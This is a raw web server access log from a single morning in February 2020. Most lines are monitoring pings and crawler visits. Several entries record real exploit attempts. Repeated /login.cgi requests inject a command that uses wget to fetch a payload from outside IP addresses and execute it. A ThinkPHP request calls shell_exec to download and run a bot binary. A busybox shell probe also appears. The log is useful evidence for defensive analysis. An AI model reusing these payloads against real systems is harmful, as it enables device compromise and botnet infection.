128.14.209.242 - - [28/Feb/2020:09:46:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:09:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.253.46.183 - - [28/Feb/2020:09:47:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:09:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.250 - - [28/Feb/2020:09:51:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:09:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
99.96.30.196 - - [28/Feb/2020:09:54:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:09:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.65.82.66 - - [28/Feb/2020:09:57:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:09:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:09:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.100.249.239 - - [28/Feb/2020:10:15:10 +0100] "GET /shell?busybox HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [28/Feb/2020:10:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.154 - - [28/Feb/2020:10:17:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:10:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.180.208.154 - - [28/Feb/2020:10:17:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [28/Feb/2020:10:17:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [28/Feb/2020:10:18:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.180.208.154 - - [28/Feb/2020:10:18:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:10:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.178 - - [28/Feb/2020:10:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
173.63.56.47 - - [28/Feb/2020:10:19:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:10:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.1.208.92 - - [28/Feb/2020:10:22:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [28/Feb/2020:10:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:32:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:33:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.4.14.206 - - [28/Feb/2020:10:34:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [28/Feb/2020:10:34:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:35:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:36:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
184.154.47.2 - - [28/Feb/2020:10:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:10:37:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.5 - - [28/Feb/2020:10:37:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
204.13.36.219 - - [28/Feb/2020:10:38:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:10:38:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:39:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.209.154 - - [28/Feb/2020:10:39:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:10:40:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:41:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:42:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:43:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:44:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:45:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:47:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.143.37.69 - - [28/Feb/2020:10:47:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:10:48:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:50:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:51:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:52:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:53:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:54:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:55:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:56:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:57:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:58:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:10:59:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [28/Feb/2020:11:00:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [28/Feb/2020:11:00:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:11:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [28/Feb/2020:11:00:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [28/Feb/2020:11:00:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [28/Feb/2020:11:01:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
37.193.50.176 - - [28/Feb/2020:11:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.97.76.238 - - [28/Feb/2020:11:02:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http:///d%20-68.183.111.251O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "Rift/2.0"
212.91.246.72 - - [28/Feb/2020:11:02:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [28/Feb/2020:11:07:58 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [28/Feb/2020:11:08:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [28/Feb/2020:11:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [28/Feb/2020:11:08:43 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [28/Feb/2020:11:09:29 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [28/Feb/2020:11:09:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.242.197 - - [28/Feb/2020:11:11:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:11:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [28/Feb/2020:11:11:43 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [28/Feb/2020:11:12:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [28/Feb/2020:11:12:33 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [28/Feb/2020:11:12:39 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
95.237.124.140 - - [28/Feb/2020:11:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.237.124.140 - - [28/Feb/2020:11:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
95.237.124.140 - - [28/Feb/2020:11:12:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:13:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [28/Feb/2020:11:13:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [28/Feb/2020:11:14:03 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [28/Feb/2020:11:14:06 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [28/Feb/2020:11:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:17:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.50.7.159 - - [28/Feb/2020:11:18:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
106.75.118.223 - - [28/Feb/2020:11:18:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:19:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:20:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:21:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.128.154.42 - - [28/Feb/2020:11:21:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:11:22:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.80.39.65 - - [28/Feb/2020:11:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [28/Feb/2020:11:23:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.226.100.150 - - [28/Feb/2020:11:23:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Ruby"
212.91.246.72 - - [28/Feb/2020:11:24:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [28/Feb/2020:11:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [28/Feb/2020:11:27:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:28:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:29:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:30:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:11:31:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
